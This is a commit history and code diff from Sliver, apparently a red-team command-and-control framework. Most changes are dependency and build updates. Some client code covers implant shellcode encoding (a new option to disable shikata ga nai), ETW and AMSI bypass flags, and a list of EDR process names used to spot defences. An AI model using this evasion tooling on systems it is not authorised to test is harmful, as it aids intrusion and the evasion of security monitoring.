2023-01-03 11:56:04 -08:00
dependabot[bot] 4df0e87896 Bump nokogiri from 1.13.9 to 1.13.10 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.9 to 1.13.10.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.9...v1.13.10)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 11:56:04 -08:00
dependabot[bot] 35f1fdd6cb Bump github.com/shirou/gopsutil/v3 from 3.22.10 to 3.22.11
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.22.10 to 3.22.11.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/commits)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 11:56:03 -08:00
dependabot[bot] 19ccc10a25 Bump github.com/jedib0t/go-pretty/v6 from 6.4.2 to 6.4.3
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.4.2 to 6.4.3.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.4.2...v6.4.3)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 11:56:02 -08:00
dependabot[bot] b900af8b21 Bump golang.org/x/text from 0.4.0 to 0.5.0
Bumps [golang.org/x/text](https://github.com/golang/text) from 0.4.0 to 0.5.0.
- [Release notes](https://github.com/golang/text/releases)
- [Commits](https://github.com/golang/text/compare/v0.4.0...v0.5.0)

---
updated-dependencies:
- dependency-name: golang.org/x/text
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 11:56:00 -08:00
moloch-- bf3619553a Signed fix for pr #995 2023-01-03 11:43:39 -08:00
dependabot[bot] f0de5eb2d1 Bump gorm.io/driver/postgres from 1.4.5 to 1.4.6
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.4.5 to 1.4.6.
- [Release notes](https://github.com/go-gorm/postgres/releases)
- [Commits](https://github.com/go-gorm/postgres/compare/v1.4.5...v1.4.6)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-03 19:41:52 +00:00
Joe d647389c52 Merge pull request #1041 from BishopFox/def1dependabot/go_modules/github.com/pquerna/otp-1.4.0
Bump github.com/pquerna/otp from 1.3.0 to 1.4.0
2023-01-03 11:40:13 -08:00
Joe d1e5053c34 Merge pull request #1047 from BishopFox/4392dependabot/go_modules/gorm.io/driver/sqlite-1.4.4
Bump gorm.io/driver/sqlite from 1.4.3 to 1.4.4
2023-01-03 11:39:22 -08:00
necroph0s ea045fb1a6 Add flag to disable sgn when generating beacon shellcode 2023-01-03 14:11:20 -05:00
dependabot[bot] d15afa23a5 Bump gorm.io/driver/sqlite from 1.4.3 to 1.4.4
Bumps [gorm.io/driver/sqlite](https://github.com/go-gorm/sqlite) from 1.4.3 to 1.4.4.
- [Release notes](https://github.com/go-gorm/sqlite/releases)
- [Commits](https://github.com/go-gorm/sqlite/compare/v1.4.3...v1.4.4)

---
updated-dependencies:
- dependency-name: gorm.io/driver/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-01-02 03:07:28 +00:00
Ronan Kervella e231cd5252 Merge pull request #1043 from s3cst4rs/master
Fix the bug of the corresponding relationship between dwLogonType and dwLogonProvider in MakeToken
2022-12-30 08:19:55 -08:00
Joe 5bcae143cb Merge pull request #1046 from tecknicaltom/install-gid
install script- use users' primary group name
2022-12-30 08:35:37 -06:00
Tom Samstag d1d2415508 install script- use users' primary group name
The install script previously assumed that users were each a member of a
group named the same as their username. While this is a convention on
some systems, it's not universal. This change determines users' primary
group name for chown'ing their client config directory instead of making
this assumption.
2022-12-29 16:25:05 -08:00
s3cst4rs 57a4cb6b12 Fix the bug of the corresponding relationship between dwLogonType and dwLogonProvider in MakeToken 2022-12-22 10:18:18 +08:00
dependabot[bot] 4845dfed87 Bump github.com/pquerna/otp from 1.3.0 to 1.4.0
Bumps [github.com/pquerna/otp](https://github.com/pquerna/otp) from 1.3.0 to 1.4.0.
- [Release notes](https://github.com/pquerna/otp/releases)
- [Commits](https://github.com/pquerna/otp/compare/v1.3.0...v1.4.0)

---
updated-dependencies:
- dependency-name: github.com/pquerna/otp
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-12-19 03:08:14 +00:00
Ronan Kervella 17e102e72c Merge pull request #1038 from BishopFox/fix/1036
Only alert user when `--in-process` is not used.
2022-12-14 10:23:01 +01:00
rkervella 8d1ce4cca7 Only alert user when --in-process is not used. 2022-12-13 09:57:25 +01:00
Ronan Kervella 508257f825 Merge pull request #1035 from BishopFox/8c73dependabot/go_modules/golang.org/x/sys-0.3.0
Bump golang.org/x/sys from 0.2.0 to 0.3.0
2022-12-12 10:20:47 +01:00
dependabot[bot] ec2fc66c9f Bump golang.org/x/sys from 0.2.0 to 0.3.0
Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.2.0 to 0.3.0.
- [Release notes](https://github.com/golang/sys/releases)
- [Commits](https://github.com/golang/sys/compare/v0.2.0...v0.3.0)

---
updated-dependencies:
- dependency-name: golang.org/x/sys
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-12-12 03:17:36 +00:00
Ronan Kervella 3b24870ce8 Merge pull request #1024 from jamesgol/fix/931/wg
Ensure Wireguard endpoint is valid before trying to use it
2022-12-08 09:25:21 +01:00
Ronan Kervella b6340ead44 Merge pull request #1028 from BishopFox/0c7cdependabot/bundler/docs/nokogiri-1.13.10
Bump nokogiri from 1.13.9 to 1.13.10 in /docs
2022-12-08 09:25:03 +01:00
dependabot[bot] 0cf021dc2b Bump nokogiri from 1.13.9 to 1.13.10 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.9 to 1.13.10.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.9...v1.13.10)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-12-08 03:48:16 +00:00
Ronan Kervella aac9ded76a Merge pull request #1020 from BishopFox/4772dependabot/go_modules/github.com/shirou/gopsutil/v3-3.22.11
Bump github.com/shirou/gopsutil/v3 from 3.22.10 to 3.22.11
2022-12-05 23:44:14 -08:00
James Golovich 2fefb634ef Ensure Wireguard endpoint is valid before trying to use it
Fixes #931
2022-12-05 19:00:59 -08:00
Joe db11d8d6bb Merge pull request #1021 from BishopFox/f5efdependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.4.3
Bump github.com/jedib0t/go-pretty/v6 from 6.4.2 to 6.4.3
2022-12-05 09:55:59 -06:00
Joe cca1f66ea6 Merge pull request #1022 from BishopFox/0b3ddependabot/go_modules/golang.org/x/text-0.5.0
Bump golang.org/x/text from 0.4.0 to 0.5.0
2022-12-04 23:18:19 -06:00
dependabot[bot] cdd941bdad Bump golang.org/x/text from 0.4.0 to 0.5.0
Bumps [golang.org/x/text](https://github.com/golang/text) from 0.4.0 to 0.5.0.
- [Release notes](https://github.com/golang/text/releases)
- [Commits](https://github.com/golang/text/compare/v0.4.0...v0.5.0)

---
updated-dependencies:
- dependency-name: golang.org/x/text
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-12-05 03:27:37 +00:00
dependabot[bot] a37e8d6b2d Bump github.com/jedib0t/go-pretty/v6 from 6.4.2 to 6.4.3
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.4.2 to 6.4.3.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.4.2...v6.4.3)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-12-05 03:27:29 +00:00
dependabot[bot] 8d1dc478b9 Bump github.com/shirou/gopsutil/v3 from 3.22.10 to 3.22.11
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.22.10 to 3.22.11.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/commits)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-12-05 03:27:22 +00:00
James Golovich 7b6ff79b5f Automatically run go-assets.sh from Makefile if it hasn't been run already 2022-12-02 18:37:45 -08:00
a3sroot 0ec79a8e55 gzip frequent object creation can lead to memory leaks 2022-12-01 15:46:05 +08:00
1252 changed files with 281406 additions and 265905 deletions

No files matched your search

+4 -4
View File
@@ -12,10 +12,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.19
- name: Go 1.20
uses: actions/setup-go@v3
with:
go-version: "^1.19"
go-version: "1.20.1"
- name: OS Packages
run: |
@@ -62,10 +62,10 @@ jobs:
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.19
- name: Go 1.20
uses: actions/setup-go@v3
with:
go-version: "1.19.1"
go-version: "^1.20"
- name: Mingw
run: brew install mingw-w64
+2 -2
View File
@@ -16,10 +16,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.19
- name: Go 1.20
uses: actions/setup-go@v3
with:
go-version: "^1.19"
go-version: "^1.20"
- name: Checkout repository
uses: actions/checkout@v3
+4 -4
View File
@@ -15,10 +15,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.19
- name: Go 1.20
uses: actions/setup-go@v3
with:
go-version: "^1.19"
go-version: "^1.20"
- name: OS Packages
run: |
@@ -49,10 +49,10 @@ jobs:
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.19
- name: Go 1.20
uses: actions/setup-go@v3
with:
go-version: "^1.19"
go-version: "^1.20"
- name: Mingw
run: brew install mingw-w64
+3
View File
@@ -42,3 +42,6 @@ sliver-server-windows.zip
.DS_Store
dist/
# Flag to show that go-assets.sh has been run
.downloaded_assets
+2 -2
View File
@@ -1,4 +1,4 @@
FROM golang:1.19.3
FROM golang:1.20.1
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,7 +6,7 @@ FROM golang:1.19.3
# a Docker deployment this is probably a good place to start.
#
ENV PROTOC_VER 3.19.4
ENV PROTOC_VER 21.12
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
+11 -6
View File
@@ -118,32 +118,32 @@ endif
# Targets
#
.PHONY: default
default: clean validate-go-version
default: clean .downloaded_assets validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos
macos: clean validate-go-version
macos: clean .downloaded_assets validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos-arm64
macos-arm64: clean validate-go-version
macos-arm64: clean .downloaded_assets validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux
linux: clean validate-go-version
linux: clean .downloaded_assets validate-go-version
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux-arm64
linux-arm64: clean validate-go-version
linux-arm64: clean .downloaded_assets validate-go-version
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean validate-go-version
windows: clean .downloaded_assets validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
@@ -178,7 +178,12 @@ clean-all: clean
rm -rf ./server/assets/fs/windows/amd64
rm -rf ./server/assets/fs/linux/amd64
rm -f ./server/assets/fs/*.zip
rm -f ./.downloaded_assets
.PHONY: clean
clean:
rm -f sliver-client sliver-server sliver-*.exe
.downloaded_assets:
./go-assets.sh
touch ./.downloaded_assets
+1 -1
View File
@@ -5,7 +5,7 @@ Sliver is an open source cross-platform adversary emulation/red team framework,
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
[![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
### Features
+15 -1
View File
@@ -280,8 +280,22 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processArgsStr := ctx.Flags.String("process-arguments")
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
// The Donut loader has a hard limit of 256 characters for the command line arguments, so
// we're alerting the user that the arguments will be truncated.
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
msgStr := ""
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
// if the flag is not registered.
if aliasManifest.IsAssembly {
if !ctx.Flags.Bool("in-process") {
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
}
} else if !aliasManifest.IsReflective {
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
}
con.PrintWarnf(msgStr)
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
+1 -1
View File
@@ -57,7 +57,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func waitForInput() <-chan bool {
done := make(chan bool)
done := make(chan bool, 1)
go func() {
defer close(done)
fmt.Scanf("\n")
+5 -27
View File
@@ -1075,33 +1075,6 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.ExecuteInMemoryStr,
Help: "Execute a program in memory on the remote system (Linux shared libraries only)",
Flags: func(f *grumble.Flags) {
f.Bool("o", "output", false, "capture command output")
f.Bool("s", "save", false, "save output to a file")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
f.String("E", "stderr", "", "remote path to redirect STDERR to")
f.String("n", "name", "", "name to assign loot (optional)")
f.Bool("r", "remote", false, "execute a file from the remote system")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("filepath", "local path to an ELF file to execute on the remote system")
a.StringList("arguments", "arguments to the command")
},
Run: func(ctx *grumble.Context) error {
con.Println()
exec.ExecuteInMemoryCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(&grumble.Command{
Name: consts.ExecuteAssemblyStr,
Help: "Loads and executes a .NET assembly in a child process (Windows Only)",
@@ -1355,6 +1328,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("I", "template", "sliver", "implant code template")
f.Bool("E", "external-builder", false, "use an external builder")
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
f.String("c", "canary", "", "canary domain(s)")
@@ -1415,6 +1389,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("I", "template", "sliver", "implant code template")
f.Bool("E", "external-builder", false, "use an external builder")
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
f.String("c", "canary", "", "canary domain(s)")
@@ -1537,6 +1512,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "directory/file to the binary to")
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1567,6 +1543,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
f.String("c", "canary", "", "canary domain(s)")
@@ -1625,6 +1602,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int64("M", "minutes", 0, "beacon interval minutes")
f.Int64("S", "seconds", 60, "beacon interval seconds")
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
// Generate flags
f.String("o", "os", "windows", "operating system")
+3 -2
View File
@@ -60,6 +60,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
process := ctx.Flags.String("process")
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
inProcess := ctx.Flags.Bool("in-process")
runtime := ctx.Flags.String("runtime")
etwBypass := ctx.Flags.Bool("etw-bypass")
@@ -67,7 +68,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
if len(assemblyArgsStr) > 256 {
if len(assemblyArgsStr) > 256 && !inProcess {
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
@@ -94,7 +95,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
Runtime: runtime,
EtwBypass: etwBypass,
AmsiBypass: amsiBypass,
InProcess: ctx.Flags.Bool("in-process"),
InProcess: inProcess,
})
ctrl <- true
<-ctrl
-117
View File
@@ -1,117 +0,0 @@
package exec
import (
"bytes"
"context"
"debug/elf"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/golang/protobuf/proto"
)
// ExecuteInMemoryCmd - Function to execute an ELF file in memory using the ExecuteInMemory RPC
func ExecuteInMemoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
remotePath string
elfBytes []byte
err error
)
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
// check beacon or session OS
if session != nil {
if session.OS != "linux" {
con.PrintErrorf("This command is only available on Linux")
return
}
} else if beacon != nil {
if beacon.OS != "linux" {
con.PrintErrorf("This command is only available on Linux")
return
}
}
elfPath := ctx.Args.String("filepath")
elfArgs := ctx.Args.StringList("arguments")
elfRemote := ctx.Flags.Bool("remote")
hostname := getHostname(session, beacon)
if elfRemote {
remotePath = elfPath
elfArgs = append([]string{elfPath}, elfArgs...)
} else {
elfBytes, err = os.ReadFile(elfPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
elfFile, _ := elf.NewFile(bytes.NewReader(elfBytes))
if goSection := elfFile.Section(".gopclntab"); goSection != nil {
con.PrintErrorf("Go binary detected, aborting")
return
}
// Don't leak client info to the Implant
cmdPath := filepath.Base(elfPath)
elfArgs = append([]string{cmdPath}, elfArgs...)
}
ctrl := make(chan bool)
con.SpinUntil("Executing ELF ...", ctrl)
execInMem, err := con.Rpc.ExecuteInMemory(context.Background(), &sliverpb.ExecuteInMemoryReq{
Data: elfBytes,
Args: elfArgs,
Path: remotePath,
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
if execInMem.Response != nil && execInMem.Response.Async {
con.AddBeaconCallback(execInMem.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execInMem)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
HandleExecuteInMemoryResponse(execInMem, elfPath, hostname, ctx, con)
})
if execInMem.Response != nil && execInMem.Response.Err != "" {
con.PrintErrorf("%s", execInMem.Response.Err)
return
}
}
if execInMem.Response != nil && execInMem.Response.Err != "" {
con.PrintErrorf("Error: %s", execInMem.Response.Err)
return
}
HandleExecuteInMemoryResponse(execInMem, elfPath, hostname, ctx, con)
}
func HandleExecuteInMemoryResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
var lootedOutput []byte
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
lootName := ctx.Flags.String("name")
if saveLoot || saveOutput {
// stdout and stderr are combined implant side
lootedOutput = combineCommandOutput(exec, true, false)
}
if saveLoot {
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
}
if saveOutput {
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
}
PrintExecute(exec, ctx, con)
}
+1 -1
View File
@@ -32,7 +32,7 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
save, _ = os.Getwd()
}
if !ctx.Flags.Bool("external-builder") {
compile(config, save, con)
compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
} else {
externalBuild(config, save, con)
}
+5 -5
View File
@@ -99,7 +99,7 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
save, _ = os.Getwd()
}
if !ctx.Flags.Bool("external-builder") {
compile(config, save, con)
compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
} else {
_, err := externalBuild(config, save, con)
if err != nil {
@@ -755,7 +755,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
return nil, nil
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
@@ -791,9 +791,9 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
fileData := generated.File.Data
if config.IsShellcode {
confirm := false
survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
if confirm {
if disableSGN {
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
} else {
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+1 -1
View File
@@ -41,7 +41,7 @@ func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
}
profile := GetImplantProfileByName(name, con)
if profile != nil {
implantFile, err := compile(profile.Config, save, con)
implantFile, err := compile(profile.Config, ctx.Flags.Bool("disable-sgn"), save, con)
if err != nil {
return
}
+1 -1
View File
@@ -455,7 +455,7 @@ The profile must be created with the [[.Bold]]service[[.Normal]] format, so that
To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
profiles new --format service --skip-symbols --mtls a.bc.de win-svc64
Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
+2 -1
View File
@@ -23,6 +23,7 @@ import (
"compress/zlib"
"context"
"encoding/binary"
"github.com/bishopfox/sliver/util/encoders"
"net/url"
"strconv"
"strings"
@@ -103,7 +104,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
zlibWriter.Close()
stage2 = compBuff.Bytes()
case "gzip":
stage2 = util.GzipBuf(stage2)
stage2 = encoders.GzipBuf(stage2)
case "deflate9":
fallthrough
case "deflate":
+6
View File
@@ -46,6 +46,12 @@ var (
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
"HealthService.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
+17
View File
@@ -28,6 +28,7 @@ import (
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/command/network"
"github.com/bishopfox/sliver/client/command/privilege"
@@ -212,9 +213,23 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
environment.PrintUnsetEnvInfo(unsetEnvReq.Name, unsetEnv, con)
// ---------------------
// Call extension commands
// ---------------------
case sliverpb.MsgCallExtensionReq:
callExtension := &sliverpb.CallExtension{}
err := proto.Unmarshal(task.Response, callExtension)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
extensions.PrintExtOutput("", "", callExtension, con)
// ---------------------
// Exec commands
// ---------------------
case sliverpb.MsgInvokeExecuteAssemblyReq:
fallthrough
case sliverpb.MsgInvokeInProcExecuteAssemblyReq:
fallthrough
case sliverpb.MsgExecuteAssemblyReq:
@@ -235,6 +250,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false, IsDefault: true},
"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
"name": &grumble.FlagMapItem{Value: "", IsDefault: true},
},
}
exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
@@ -550,6 +566,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
